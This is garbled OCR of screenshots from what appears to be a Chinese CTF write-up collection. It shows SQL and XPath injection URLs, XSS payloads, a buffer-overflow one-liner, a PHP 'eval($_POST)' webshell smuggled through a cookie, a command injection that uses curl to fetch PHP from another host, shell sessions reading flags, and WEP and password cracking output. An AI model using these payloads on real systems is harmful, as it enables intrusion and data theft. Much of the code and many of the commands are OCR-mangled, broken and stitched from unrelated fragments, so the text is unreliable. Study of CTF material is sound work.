Cookie: check=1; PHPSESSID=acdebllggdsli7aglcumarbdss; Date: Sat, 01 Nov 2014 10:31:24 GMT
Hm_lvt_d2084f36b270002527eB05d821116ded=1414B02892,14148 Caontent-Length: 157
19556,1414822591,1414836178;
Hrm_lpvt_d2084f96b27000a527e605d621116de4=1414836480 <head=<fitle> TR BB </title></head>
| <bodys<h 1 >H BB >T fE<a
| HREF="Index.htrml"= g4l </2> R B & LR </body >KEY:
seCLOveRTH@CKz014
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GetDlgItemTextA(hWnd, 1001, &String, 100); ——
if ( GetDlgItemTextA(hknd, 10086, &String, 100) 8& GetDlgItemTextA(hkind, 10010, &String, 100) )

v5 = sub_1258480(strlen(&String), (int)&String, (int)&v9);
_mm_storeu_si128(&vi12, mm_loadu si128((const _ m128i *)v5));
_mm_storel_epi64((_m128i *)&13, mm loadl epi64((const _ m128i *)v5 + 1));
if ( sub_1258170() )

-

SECPLULSE

result = 9;
- =M -

MessageBoxA(0, "EMERIM”, "HI", @); :
. @
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kvideu controls="controls" autoplay="autoplay">
<?php
error_reporting(0);
include('config.php');
$id = $_GET['id'];
if($_SERVER['HTTP_USER_AGENT'] !== "Blizzard_client")

$id = (int)$id;

$sql = "select name from view where id =".$id;

$r = mysql_query($sql);

$result = mysql_fetch_array(s$r);

echo '<source src=""'.$result['name'].'" type="video/mp4" />';
>
</video> 3602245 ( bobao 360.cn )
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src=1 onerror=alert(1)>| #RREE

Hello ’7
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~| = @ SQL- XSS+ Encryption Encoding Other-

@ LoadURL  hitpy/ctfsobug.com/hack game/{3abf127da5264c1 index.phpTid=1%20%26%26%20asciik28substring 28flag 1 1%29%29>0
4 seiuRL

2 Execute

! Enable Postdata '] Enable Referrer
SELECT + FRON HELLOCTF WHERE id=1 && ascii (substring(flag, 1,1))0

Welcome To SSCTF

@ SQL- XSS+ Enayption: Encoding Other-

hitpy/ctfsobug com/hack_game/f3abf127ds5264c1 index phpTid=1%20%26%26%20ascii 28substring28ic| 1 1%29%29>0

7] Enable Post data ] Enable Referrer
SELECT + FROM HELLOCTF WHERE id=1 & sscii(substring(id, 1, 1))>0

Welcome To SSCTF

Load URL | hetpy/ctisobug.com/hack game/f0abf127da5264c)/inderx php7id=1%20%26% 263 2005ci% 28substring 28key,1 19620%29>0
Split URL

1) Enable Post data ) Enable Reforrer.
SELECT + FROM HELLOCTF WHERE id=1 & escii(substring(key, 1,1))20
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Online Dump Analysis .

Web  Videos  News  Shopping  Images  More=  Searchiools

About 14,800,000 results (0.46 seconds)

Instant Online Crash Analysis - OSR Online
www.osronline.com/page.cim?name=analyze ~

Windows Crash Dump Analysis: Help From The Experts. Driver arrors can cause
Windows to crash or hang. Fortunately, there are multiple ways OSR can hdg0Z2&]

B ( bobao350.n )
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root@lnj: ~/Desktop# python -c print "a"*128+"\x5c\x85\x04\ x08"" | ./ pwn100
== Welcome to PWWWWWWWWN world!

You are on the right way.
Flag, gei ni yo
RigR s
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e [ vi vs.hitml e 2 8 /7/9 %0

<htnl lang="zh-CI"> head> <neta charset="UTF-8' http-equiv="refresh’ content="10"> <titl BEEEntle (sornptwindow. alert = functin(s) [  return :hwndow.prompt = function(s) {
return :bvindov. canfim = function(s) { retumn :}window.find = functin(s) {  retun :}vindov.print = fnction(s) { retum :lwindow. showllodalDialog = function(s) { return .}</seript></head body>
Ctable border=1</table> <a hwef="flag. php?id="Flag is here</=></body></ktnl>
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589806 next is B43170
43170 next §= 212979
212678 mext 1= 966644
986544 mext i= 991221
991221 mext ic 818625 , ar 332470
532470 mext 1= 188407
188407 next is 344058

544058 mext e 376831
376831 Follow the path, collect 00 SiblE (boba0360.cn )
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L$ openssl rsautl -decrypt -in level3. passwd. enc - inkey private3.pem -out /tmp/

passwd3 8& cat /tmp/ passwd3 s
WIe6ERTs_1TtA3k_e.t00_larg3 360£248R ( bobao360.cn )
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signed __int64 _ fastcall main(int argc, char =xargu, char x=enup)
¢

signed __int6h result; /7 raxe2

char regs; // [sp+18h] [bp-76hjas

if ( arge

<
progran_base_addr - loal_progran(igu[1]);
if ( progran_base_addr )

2y

<
menset (&es, 8, Bx68ULL);
alloc_stack(&reqs);
execute(treqs, progran_base_addr);
result = OLL;
]
else
<
printf("[-] %s is not executablet\n”, argu[1], argu);
Fesult = OXFFFFFFFFLLS
]
]
else
<

puts(“usage:secret [input]");
result = OxFFFFFFFFLL;
3
return result;
y

( bobao360.cn )
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int 43 // [sp+4h] [bp-chiet
v2; #/ [sp+8h] [bp-8

u2 = =HK_FP(_FS__, 46LL);
printf(“fiello %s\n", 6299872LL); 11 ox6620e0 3255 TTHTE ox6 021004 ) (&
puts(“Below is the things in your car

For (i = B3 *(_DUORD *)quord_662180 > i3 ++i )
Cie C=(aptr + 1) )
! printf(“Name : %s\n", (char =)x(gptr + i) + 12);
printf(“Conment : %s\n", x(_OUORD *)x(&ptr + i));
5 >

rveturn <HK_FP(_FS_, 40LL) ~ v2;
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na Executable and Linking Format executable file (Limwo Unix)






OEBPS/Images/图片6-213x300.jpg





OEBPS/Images/dc19b70d6a15bbde9a5b192242f5832d.jpg
i# | Cookies - EE - Bk (EEEF cookic) -






OEBPS/Images/e6c720c56f6fb9db2f0efe7341597b4d.jpg
B3 B Bl mput v L Qoisiomt
=

)
ST et )

;
=
i
#ro
:
:

b B
0 Sl

il

1R e e, s

T LT et b vy 2 s

i T Eh ks paranticds. pasensicde et ElemmatsyTagess 52 1] Lo (0] e dmccda (6801
B o eteieibute (st 2

i L ot IRk parentaods-psont e utELacmi sy Tagiams 3117 (1) L1 0] A dcoda k"))
g et

i R e






OEBPS/Images/eef07a17613a66d2cf3dca0b2e94abe5.jpg
S e
e e R






OEBPS/Images/c7ceafe3ead3e9fbc5c318539434b5b1.jpg
~ X [ filey///C:/Users/Administrator/Desktop/6.html

HRRET

if{1==2){var tip="/WOCa1N1CaiBuba0/read.php?f=indexjelsclalert(/
Ne Tip/i}

[ S RESSSTEE.

60T} ( bobas.360.cn )
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nou
cdge
novzx
add
nou
nou
cdge
nou
ada

1oc_u00772:

eax, [rbpvar_ig]

eax, [rbp+rax+var_40]
eax, 3

edx, eax

eax, [rbpvar 48]

[rbprraxss2], dl
[rbprvar_48], 1
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% splituRL
) Execute

[] Enable Post data  [7] Enable Referrer

hctf{CONFUSED_ABOUT_CODES_BUT_YOU}

& Load URL | http://120.26.224.102:23333/d20876{3#4d1c8358efcbdc0dd=3781b/login php loginstr=%2561%2564%256d%2569% 2566=%27
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€ | [} view-s:

kali.sycsec.com

188

<1y class="titled box_title”>{span>(a href="http://wm. kali.org">Kali Linux/a> | <a href="}
| <a href="post.php" target="_blank">Syclover Security Tean(/a>/span>¢/div>

Qr [>r />

& <hf class="titled_box_title’><span’KALL LINUK - Brought to you by OFFENSIVE SECURLTY:

188 <div class="titled_box_content twenty">
Loffsec. ipg* styl:

Aig s 1@—‘/ t-align: justify; display:inline,”><ing v
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@ Load URL
& spliturL
s Excate

httpy//eto.sctfxctf.org.cn/?action=user8id=6 or substring(//user(1)/username,2,1)=substring(//user[4]/username,2.1)

7] Enable Post data

7] Enable Referrer

Home | Members | Login

Username Emall | Role
YeWeniie | ye@eto.org_|leader
Evans __[evans@eto.org|public
Decoder One | one@eto.org [public
Decoder Two [ two@eto.org |public
Decoder Three [three@eto.org [public

1 ( bobaoda0en )
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Params | Headers | Hox |

Headers | Hex

GET
/6357109ea421245047b86eab a8 34fae 1/
p.css HTTP/LL

Host: 120.26.224.102:25045
Cache-Control; max-age=0

Accept: text/htm,application/ <htmi+xml application/miiq =0 Image/Avebp */
Upgrade-Insecure-Requests: 1

User-Agent: Mazila/5.0 (Windows NT 6.1:\WOW64) AppleWebKit/537.36 (KHTML lice
Gecko) Chrome/47.0.2526.73 Safari/537.36

Accept-Encoding: gaip, deflate, sdch

Accept-Language: 2h-CN2hq=0.8

tpy//mohackalrnetB0@app.kow.cn/testah

HTTP/1.1 200 OK
Date: Sun, 06 Dec 2015 13:0446 GMT

Server: Apache/24.9 (Win32) PHR/55.12
X-Poware:

By PHP/55.12
55 Proxy v1.0

ttpi//localareanet/all.conf

Content-Length: 108

Contant-Type: text/css: Locationhttp//localarsanst/allcont

descriptionHiet{302.15.GO0P.TO_SSRE

| showdescription:off

sitehttpy/mwvnohackairnet80
allowtypezcss
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*1 legal disclainer: Usage of QNN for attacking targets
consent is illegal. It is the end user
local. state and federal laus.
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& prior nutual
"Obey all applicable

© no liability and are not respon
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%
m

€ 9 € [[114551.176:4458/message.php [

Helloworld ~ Message HHHH  Management Panel  Sign Out

# Column heading
HHHH Do you find my password?

HHHH | don't know how to praperly avoid injection

HHHH  Can you help me 2

HHHH  pardon?

HHHH | think xss is a good way!

HHHH  AAAAA

HHHH  &itscriptagt alert(&#039:XSS&quot &It /Scripiagt

HHHH /~1@#5%" &amp;*()&#039;8quot,\

HHHH  &ILSCRIPT&Qt alert(8#039 XSS&#039))8It/SCRIPTAgL.

HHHH  alert(1)

HHHH  HHHHxssxsasxagquot ) AND 4842=5352 AND (8quot:1sBVaquot; LIKE &quotIsBY.

HHHH  HHHHxssxsasxagamp;quot:) AND 4842=6352 AND (&amp:quot IsBVa&amp:quat: LIKE &amp:quot IsBV

HHHH  1118#039:)

HHHH  haha leave message hacked by xxx

HHHH  bbbbbbbbbbbb

HHHH  2016-06-041975HHHH1238#039:8quot:\2016-06-041980HHHH1238#039:8quot 12016-06-04198 1 HHHHIest2016-06-042006HHHH1238#039,&quot, 12016-06-042010HHHH1231232016-06-042013HHHHselect * from user:2016-06

HHHH  alictf{This_is_NOT_flag)
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<?php
$args = $_POST['args']; //../flag.txt
if(lisset(3args))
exit('no define');
S$time=time()+rand(e,100);
srand($time);
S$token=ttr_random(32);
setcookie( ‘token’,$token);
$path=ttr_random(16);
$dir = '/var/sec2016/www/mrk/".$path ;
if ( Ifile_exists($dir) )
(@mkdir($dir);
@chdir($dir);
for ( $i=0; $iccount($args); $i++ ){
if ( !preg_match('/~\w$/', $args[$i]) )
exit();
if (preg_match(/mk/i’, $args[$i]))
echo $args[$i];
exit();
else

@exec("/home/sec2016/zctf " . implode(” ", $args));

}

function ttr_random($len,
$alpha="abcdefghijkLmnopqrstuvxyzABCDEFGHIIKLNNOPQRS TUVWXY 20123456789 " )
{
Salphalen = strien($alpha) - 1;
Skey = '';
for($i = 0; $i < $len; $it+){
$key .= $alphafrand(e, $alphalen)];

return $key;

>
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wen i 3
LDR R3, [SP,H0x38+var_3u]
LDR R2, [R6]
Hous RO, R6
STR R3, [SP,#0x38+s]
LDR R3, [SP,#0x38+var_30]
LDR R1, [SP,#0x38+var_38]
STR R3, [SP,#0x38+var_20]
LDR R3, [RS,H0x10]
s g3 [sPf suar_1¢]
Hous R3, HOX35C
LDR Ry, [R2,R3]
DD R2,~SP; HOx38:
Hous R3, #1
BLX Ry
ASRS RO, RO, BOX1F

Toc_299m30224 ]
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import web
smpors requests

5 smport urlli

£ wla -

& 1/, tnediel

£

© asp = web.applicaticn(ssia, aicbala())
© class el

) daf POST(self):

i Prane web.1npuc ()

789 = requests.post {‘huxpi//blog. avezec. con/ £50sa94cT22b1 £ATL925TE202 TacH SN/
headers={!Cockie': 'wp-3es3on=QOCESiE; Wp-ssssion=eval (S_POST(=1) '),

data={‘e': web.input().e + ‘;die();?, '20': web.input().20, 'zi': web.imput(zi='').zl,
'22': web.anpur (22='1) .22, '23': web.inpur(z3=*1).23, 'z4': web.input(ze='').z4,
12503 web.inpur (2811) .28))

resurn zeq.centent
1f _name ==
app.zan ()
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Following on Irom Opabina Regalis - Fetch Token, can you Implement an SSL stripping
attack?

Listening on port 19121 on ssh-added-and-removed-here.cticompetition.com





OEBPS/Images/af358eec8cacd80474775e09fa1a9add.jpg
AT G ZRERRTR L CWE LR L SRR L) SRR
v| =& st XS5+ Encyption- Encoding- Other-

Load URL 6122020
Split URL
Execute

htpy//hackme.sctfxctf.org.cn/05d6aB025a7d0cOeee56d12a0a94cc0/c.php

Enable Postdata [ Enable Referrer
ost data

c=phpinfo0);

system Linux localhostlocaldomain 2.6.32-573.22.1.¢6.x86_64 #1 SMP Wed \
UTC 2016 x86.6

Build Date Apr 27 2016 15:26:48

Configure ‘./mnﬁgnne‘ '.preﬁr/usmwa’lp Mhmnﬁq»ﬁle« r/loc
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Chile hit by an 8.2 magnitude earthquake

ABC Action News - 20 123 }l#i 3,240
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~LEXt: 0000RBO00DADDAFS
Eext 0800000 B0AT B

Eext - DUUONIOOGABINFE
text 00039000008 00300
ext - 000B0000AAE02
cext 0080000043504
Eext:0000000000100809

et D0SOBODOUADIETC
et 0000000000 00821
ext£00000000004B520
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Eext 080000000045
Eext - DUUONUO0GIEAT
LexL£008G000000ABEAE
Eext - D0BIB0000AIESS
cext 0080000040905
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Eext 00000000004 00B5F
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protected void onCreate(
super.onCreate (azg3) ;
this.setContentView (2130903040) ;
this.init():
this.but_sign.setOnClicklistener (new 5tnSignClickListener (this)):
this.but_exit.setOnClickListener (new BtnExitCly

andie arg3) {
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2016-03-12
15:35:32

location : http://127.0.0.1:8888/admin/sh
ow.php?secret=ppp12q222w%3Cscrip
t%3Evar debug%3Dfalse%3B%3C%2F
script%3E

toplocation : http://127.0.0.1:8888/admi
n/show.php?secret=ppp12q222w%3Cs
cript%3Evar debug%3Dfalse%3B%3
C%2Fscript%3E

cookie :

opener :

« HTTP_REFERER : http://127.0.0.1:8888/
admin/show.php?secret=ppp12g222w%

3Cscript%3Evar+debug%3Dfalse %3
B%3C%2Fscript%3E

« HTTP_USER_AGENT : Mozilla/5.0 0CTF
by md5_salt

« REMOTE_ADDR:

il

Ectozmum
o QIR
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€04272207262435249541786598262137419894318638348812385234502109011267576309638832|
06241274515865788742439462558334952975529791772087152962251469996144832571768658|
67572412311362252398105201644557511678179053171328641678681062496129308882700731
53468432941176890492042118552914450549482790870607046017700192161469218982126746/
754612060023968852768787221788123117372946801962344100579: 4756780633753
R et e
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if((Seclreq.getUser(this. seclreg) .equals (this. seclreg.getResources () .getString (2131034119)) )
S4. (Recieeu qesseclags (Lina sectrag) -yevpl (sectoeg, QBUERE (tha: sestveg); Seciseq
.getPasswd (this.seclreg)))) {
this.seclreg.makeToast ("5 | EMEEY

return;
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|

:\Users \bystu\Desktopdpython convert_Fix.py
execute request(“e@sytBy3">

+\sers\hystuDesktopd,
2% (bobao360.cn )
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Foot@133-130-122-114: ~

webhosts

sh-4.15 s -la /var/www/html

1s -la /var /www/html

1s: cannot open directory /var/www/html: Permission denied
sh-4.15'1s -1la

s -la

total 28

druxr-xr-x 7 root root 4896 May 4 23:18
drwxr-xr-x. 21 root root 4096 May 4 19:53 .
drwxr-xr-x 2 root root 4696 Mar 23 83:64 cgi-bin
drwxr-xr-x 3 root root 4096 May 4 19:53 error
druxr-x--- 3 root apache 4896 May 4 23:38 html
drwxr-xr-x 3 root root 4696 May 4 19:53 icons
drwxr-xr-x 5 root root 4896 May 4 23:22 webhosts
sh-4.1$ cd html

cd html

sh: cd: html: Permission denied
sh-4.15 cd /home

cd /home

sh-2.15 1s

1s

drug

sh-2.15 cd drug

ugug

cd drug

sh-2.1$ ugug

sh: ugug: command not found
sh-4.15 1s

s

flagl, txt

wget.py

sh-4.15 cat flagl.txt

cat flagl.txt

Flag: SCTF{aaBef8fd97a1729a329d5af4ac80e07e}

;é;?ﬁﬂm%ﬁfﬁﬁﬁ FAMNN—FRHE LB drugfl P Bshe L 2FPLERIE , XF
2. A TRERZSHARIE | /var/www/webhosts/drug/goods_inage/ B REM207 2E
Sy

85
BT R AR SE T |
EBHANEREENTHELNA %ﬁn EBBMEE S ARTRA LR RN
&gii;m#ﬁﬁﬂ*gﬁﬁﬁﬁﬁ§ﬁ | BB F RS OO o, BNETE
XXX
T REE KBRTEE ) 1)

P: MRREEMEFEMI AR LEEQoEF ( 228634006 ) ERABIER Y
sh-4.15

360%248# ( bobao.360.cn )
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=

PR Y- 1

[69:08:011 Tested 26219 keys (got 76637

s>

depth  bytecvote>
B/ 1 32(104968> 54<89856> 63(87888) FEC86528) B3<86528>
B/ 1 38(108808> A2(89680> F4(88832) 81(88328) IECEV552>
B/ 1 31(1047084> 58¢87888> BC(86272) 5DCS6B16) B9CE5760>
B/ 1 34(90112) 1AC87552> E9CE5760> 20<85768) 9IACES504>
B/ 1 49(106352> 85¢92416> D3(88576) 3488320> 72¢88064>
B/ 1 73(115208> FBC88320> 69(87808) BACS?296) ACCE5248>
B/ 1 6393448 D8C8960M) 37<89I088> 1B(86784) 24(86528)
B/ 1 43(101632> 6D<89680> B3(89344) 6CC86528) 3CCB6272>
B/ 1 77(99328) 82¢91136) C8CB7296> 2D(86528) CES6816)
B/ 1 69(99848) B3(93952> 4FC88576> AB(8E320) BAS8E64)
B/ 1 13(88864) 24C87296) 8CCE5760> 3C(85248) 7784736
B/ 1 2B(89856) 96<88576> SBCE8320> 7PB(87888) BF(S7848)
B/ 1 59(92804) F1(91888> FDC87348> 1EC87048) 53(86336)

KEY FOUND! [ 32:30:31:34:49:73:63:43:77:69:66:69:59

Decrypted correctly: 188:

1 (ﬂSCEZE:Elsc
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private veid checkPasswordStepl ()

String st

this.pPasswordStepl.getText ) .toString(
Af ({str i= mill) sz (str.equals(this.zConstans.a())))
{
Toast.makeText(this, "HEE(FHAER", 0).show()
this.mBrnSendBroadcast. setVisibilicy (0)
this.sRealPwHint.setVisibility (0);
this.nPassvordStep?. setVisibility(0)
this.mBra0kstep2. secVisibilicy (0)
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OutputString = 8
sub_481208("%2K", ui);
DutputDebugStringn(BIULpuLStyE
et

5. 360.n )
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@ Load URL
% split URL

hitp//hackme sctf.xct.org.cn/05d6a8025a7d0c0eeeSf6d 1220294

b Execute

[7] Enable Post data [ Enable Referrer
Post data

1=echo file_get contents("/home/wwwroat/flag is_here");

ez

SCTF{Hijacking_P4ssword is wonderfl)

7 ( bobao.360.cn )
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std__operator___std__char_traits_char__ (std__cout,
std_allocator_char__ allocator(&014);
std__string_string(&u15, "sdfaer3idfu234523aaedfas”, &uih)
std_allocator_char___allocator(&ifi);
s = std_string_at(auis, 10);
std__operator___std__char_traits_char__(std__cout, *(_BYTE %)u1);
»2 = std_string_at(avis, 0);
std__operator___std__char_traits_char__(std__cout, *(_BYTE %)u2);
s3 = std_string_length(8ui5);
std__ostrean_operator__(std_cout, v3);
)1 = std_string_at(auis, 13
std__operator___std__char_traits_char__(std__cout, *(_BYTE *)u4);
)5 = std_string_at(auis, )3
std__operator___std__char_traits_char__(std__cout, *(_BYTE *)u5);
std_string_append(&o 15, "sdfsad");

std_string_at(&eis, 8);
std__operator___std__char_traits_char__(std__cout, *(_BYTE *)u6);
)7 = std_string_at(avis, 21);
std__operator___std__char_traits_char__(std__cout, *(_BYTE %)u7);
)8 = std_string_at(avis, 8);
std__operator___std__char_traits_char__(std__cout, *(_BYTE *)u8);
std__string__append(&v15, "wrunxcisd"
std__string__at(&v

. 16);

he password is
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[mmglhemhanq =/ |
$ cat decode. py
def decrypt_RSA(private_key_loc, package):
from Crypto. PublicKey import RSA
from Crypto. Cipher import PKCS1_OAEP
| from base64 import béddecode
| key = open(private_key_loc, "r"). read()
| rsakey = RSA. importKey( key)
| rsakey = PKCS1_DAEP. new( rsakey)
l decrypted = rsakey. dec rypt( b64decode( package))

return decrypted

flag = " Zc2LYz1DHW6 fEwNqqeyBABLCYWXECUREOL Myx3 fMA/ YNezn71kXoUOZD8pQyHSDBhIFC2S T
IoIUMaV+ rJ2yUooAL FXCG7E; 9CDDOB CB+ bx Y2 FHAX OD21IMyKCqNIWwLag Fhe JEcL s hNx321hJ81
WGX/ yQpk9HEDAATBLT dSSBPOCTy+aU0pIIDHO +b+0]  TgIpecBFhauCG2XusQ7SDVNbe I BIH/ rGKNVLg
8aSas0] DQOPE rHwzMVpdewEk0va4NBIYhilxeTZy0+m2 / tw3LnTHVxFznzcCvAYvSMIwsACqi8BKC]
[aSquHKxmN%eequayEquSMqa 3

print decrypt_RSA(' privatel. pen’, flag)
{Croot@bertchang ~/ AT

$ python decode. py
FaC5orilatiOn_aTTA3k_p_t00_small 360222481 ( bobao.360.
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1|shell@mako: /data/data/com.exanple.plane/shared_prefs # cat Cocos2dxPrefsFile>
<?xml version='1.0' encoding='utf-8' standalone='yes' 7>
<map>
<string name="DATA">MGNOZNtDMGNVUZIKXOFURHIVMHdZ99</string>
<int name="HighestScore" value="360" />
<boolean name="isHavesaveFilexnl" value="true" />
</map>
shell@nako: /data/data/com.exanple.plane/shared_prefs # cat flag.xml
<2xml version='1.8' encoding='utf-8' standalon 2>
<map>
<string name="DATA">YmF6aWsnYWFhYQ==</string>
</map>
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RAINBOW TABLES

Un ensemble de tables wliisables avec le logiciel Ophcrack ont ét6 précalculées et
spécialement opimisées pour répendre aux besoins les plus larges. La plupart sont
gratuites. Un ensemble de plus de 2 T8 de tables desfinées principalement aux
professionnels de |a sécurité et aux enireprises peut étre acheté pour §949 + frais de port.

DEMO

GO

Hash  ed6c3eb356395a1176cch4724163088:0816103b51a80a50bcc7707896c93518
Password: wangke1234
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Burp Intruder Repeater Window Help

(Target | Prony | Spider | Scanner | Irirader |(Repeater | Sequencer | Decoder | Comparer | Bxtender | options | Alerts |

5+l
e i | e | Target:

Request

(‘Raw | Params | Headers | Hex |
tmp/smd HTTP/1.1

GET /download/download.phpzuuu
Host: 218.2.197.236:2001
Proxy-Connection: keep-alive

Accept: text/html application/xhtml+xml application/xml:q=0.9,image/webp, */*:c CX_shi Wo_xin_zhong Zui Mei_de nv_shen
User-Agent: Maozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML like Gec <br /s<br /> .
|Accept-Encoding: gzip, deflate,sdch <br /><br />z?" 4[N [EEclEE 4 (=00 4| A4(ET5  FHAeEe | EHeckxEIEIS T

AcceptLanguage: en-Us,en:q=0.8,2h-CNiq=0.6,2:q 0.4

2=l e =

Response
| Raw | Headers | Hex |

Date: Sun, 06 Apr 2014 06:0301 GMT
Content-Type: text/ntml
Connection: keep-alive
X-Powered-By: PHP/5.4.26
ContentLength: 167
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[ = & SQI+ XSS Encryption- Encodi

Others
@ Load URL
% selituRL
v Execute

[7] Enable Post data

Enable Referrer

Sorry, mot authorized. Ecto
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<html>

<l-=

change log:

use http-only cookie to prevent cookie stealing by xss, so flag is safe in cookie
always check /admin/server_info.php for load balancing

to do:
files and folders permission control, disallow other users write file into uploads folder
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@ Load URL

&

Split URL

Execute

https//eto.sctfxctf.org.cn/?action=user&id=6 or count(//user)=5Ywj@4791.d_gToWDmceu.Ealids2yarn

7] Enable Post data

7] Enable Referrer

Home | Members | Login

Welcome to ETO !

Eliminate human tyranny !
The world belongs to Trisolaris !

SCTF{0f61ced4eb984ad4abd3aaal1f779533d}

i ( bobas350.n )
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Morse Code

e A=

Input: ** "
Output (hide):

XIAN SECLOVER WELCOME YOU WE ARE VERY
HAPPY FOR YOU

| Tnslte || Py | Stop





OEBPS/Images/74fc43ddac623cd080940a9ea3c6bb06.jpg
Bx18,
ox14,
Bxie,
Bxia,
8x17,

oxe7,
ox1e,
oxea,
‘ox12,
6x@e,

ox61],
oxe8],
oxee],
ox19],
ox18]





OEBPS/Images/af679ca5f13666ebbfed84bc8f4cc2dc.jpg
B/

oot
cyeshell
57 OCalFICaiBuDad
[= e

0 defat

x g»ﬁlm

-
=]

mozille:

Slugins
extensions

eone2

mware-file-modd

virtuloroot KIZHS

)

virtasloroot HSehs
virtal-setfayelover123 Enkab
Ea—"r

virtusl-root, BSaS<T

e

Fulae-FRLANG G0

ehiesgas

arbitoraot.

i S—
g

virtul-root. GPD9G

260427 189503
aMBIA2 0019
2150823 004032
150923 0040132
207608 30 (012545
1504 30 0126

3 (] Shened|
Tanis)
L Tt
= RiEe
| Check Tpdate
i
] HRT#

350ZEiE ( bubao 35020 )






OEBPS/Images/20140410015014395.jpg
Burp Intruder Repeater Window Help
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Request
| Raw | Params | Headers | Hex

GET /login.php?gongwan~1 | curl *hitpy/172.17.1.3/2><2php system(cat You_got me_BAd_Guys/);
Host: 218.2.197.236:2001

Proxy-Connection: keep-alive

Accept:text/html application/xhtmi+«ml application/xml:q=0.9,image/webp, /4108
User-Agent: Mozila/5.0 (X1 1 Linux x86_64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/33.0.1750.152 Safari/537.36
AcceptEncoding gzip,deflate,sdch

*> ftmp/smd HTTP/1.1

Response

[ Raw | Headers | Hex |

HTTP/1.1200 OK
Server: nginw/1.4.7

Date: S, 06 Apr 2014 06:02:16 GMT
Content-Type: text/htmi: charset-GB2312
Connection: keep-alive

X-Powered-By: PHP/5.4.26
Content-Length: 39

1love you.And yourThen hack me please. Ectomm
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Date:2014-12-07 17:21:46  0S:Windows XP
Browser:Firefox
REMOTE_ADDR:118.114.242.225
Region: )| & RARTT (S
HTTP_USER_AGENT:Mozilla/5.0 (Windows NT
1; 2y:3(39) Gecko/20100101 Firefox/31.0

SecPulse

mifRATE 55 IR E R 2E
HEXSH

keepsession: F title: Syclover Service

cookie: code=9fb6ea79bc7b9214d1lcd35d5e528¢c£99
toplocation: http://idc.sycsec.com/c80e93890227fbda63cfc29486
ce041e/xss.php

location: http://idc.sycsec.com/?page=1 union select 0x3c736372
697074207372633d687474703a2f217873732e72652f353233323e3c27
363726970743e

data*
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Vulnerability description

Your web server is vulnerable to Si
Senice) aftacks.

Slowloris and Slow HTTP POST DoS
the HTTP protocol, by design, requires
received by the server before they a
request is not complete, o it the tra
server keeps ts resources busy waiti
the server keeps too many resources
of service.

This winersbility affects Web Server.
Discovered by: Slow_HTTP_DOS.

Attack details

Time difference between connections:

® Retest aleri(s)
® ark this alert as & faise positive

“The impact of this vuinerability

55 i kil 5

[ i | @ | o |l Report | 2 | startURL: itpiflagbox-23031574.xdctfowin: 1254/
| Scan Results Status
= 59 ScanThread 1 (htipy//flagbox-23031374.x...  Finished (54 alerts)
il Web s (59)
i @ Apache Tomcat examples drectory
& () Apache Tomcat sampl fes (2)
ML form without CSRF protection .
@ Slow HTTP Denial of Service Attack (1)
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D User credentis are sent n dear te.
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& @ Logn page password-guessing attac.
4 @ Broken nks (25)
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T Knowledge Base
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Hot Found
et Found
ot Found
Mot Found
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[Actiy Window
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sprintf(recu_buf, “/proc/%d/status”, u3); 171 BRI,
v =53
un6 = Fopen(recy_Luf,
o
<
Fgets(Encoden
puts(Encodeds
—u7;
>
uhile ( u7 );
Fscanf(uss, "%s %d", £
Felose(usn);
printf("debugpid - %d\n", vs6);
Isbebugging = uso 1= 8
ptrace(s, 8, 1, 0);
uah = socket(2, 1, 0);
if (a6 == 1)
<
printf("Socket errort %s", asocketError);
exit(0);

¥
uss = 83
ush = 0;

[H

adir.sa_fanily = 2;

VS = 16M15;

if ( bind(u36, Eaddr, 8x16u)
¥i
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eae ™ Botnet.pcap
AW g TR QReEsEFE 5 QQaa
TESTHRE ... <¥/>

5.226714  222.25.140.. 117 (ping) request

84 5.226822  117.23.51... 222.25.140.. ICWP 74 Echo (ping) reply 5eq=256/1, 5 (request in 83)
97 7.226936  222.25.140.. 117.23.51... ICHP 74 Echo (ping) request id=8x0c13, seq=256/1, 28 (reply in 98)
98 7.229693  117.23.51... 222.25.140.. ICMP 74 Echo (ping) reply  id=0xec13, seq=256/1, 5 (request in 97)
113 9.236128  222.25.140.. 117.23.51... ICHP 74 Echo (ping) request 1d=0xdc13, seq=256/1, ttl=128 (reply in 114)
114 0.238884  117.23.51... 222.25.140.. ICHP 74 Echo (ping) reply x0c13, seq=256/1, 5 (request in 113)

164 11.246427  222.25.140.. 117.23.51... ICHP 74 Echo (ping) request id=8x0cl3, seq=256/1, 28 (reply in 165)
165 11.249227  117.23.51... 222.25.140.. ICHP 74 Echo (ping) reply  id=0xec13, seq=256/1, 5 (request in 164)
187 13.255230  222.25.140.. 117.23.51... ICHP 74 Echo (ping) request 1d=0xdc13, seq=256/1, ttl=128 (reply in 188)
188 13.258741  117.23.51... 222.25.140.. ICHP 74 Echo (ping) reply  id=0x0cl3, seq=256/1, 5 (request in 187)

221 15.257727  222.25.140.. 117.23.51... ICHP 74 Echo (ping) request id=gx0c13, seq=256/1,

Frame 83: 74 bytes on wire (592 bits), 74 bytes captured (592 bits)
Ethernet IT, Src: Compalln_Of:fd:91 (b8:88:e3:9f:fd:91), Dst: Hangzhou_1a:@6:7c (08:23:89:1a:06:7c)
Internet Protocol Version 4, Src: 222.25.140.37 (222,25.140.37), Dst: 117.23.51.69 (117.23,51.69)
Internet Control Message Protocol

Type: 8 (Echo (ping) request)

Code: 0

Checksum: @x3b49 [correct]

TIdentifier (BE): 3091 (ox0c13)

Identifier (LE): 4876 (ox130c)

Sequence number (BE): 256 (0x0100)

Sequence number (LE): 1 (0x0001)

avvyw

@000 00 23 89 1a 06 7c b8 88 e3 Of fd 91 08 @0 45 00 .#...|.. ..\BAE.
0010 @0 3c 32 2b 08 00 80 01 08 00 de 19 8C 25 75 17  .<2t.... ..M.
0920 33 45 08 80 3b 49 6c 13 01 00 66 62 63 64 65 66 3E..;I.. ..fbcdef
9320 67 68 69 6a 6b 6 6d 6e 6f 70 71 72 73 74 75 76 ghijklmn oparstuv
0046 77 61 62 63 64 65 66 67 68 69 wabcdefg hi
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from baseChange import *
import operator
file = open('cube.txt')

[]

[]

[

add_zero(bin_str):

while len(bin_str) < 64:
bin_str = '@' + bin_str

return bin_str

aN< X

=hInn

for line in file.xreadlines():
line = line.replace('\n','')
line = line.split(' = ')
[xx, yyl = linel@].replace('(',"').replace(')',"").split(’, ')
zz = hex2bin(line[1])
zz = list(add_zero(zz))#X2add_zeroB I EBER. « « FRRRNBEE
for z_, z__ in enumerate(zz):
itz =

x.append(int(xx))

y.append(int(yy))

z.append(z_)

xyz = zip(x, y, z)
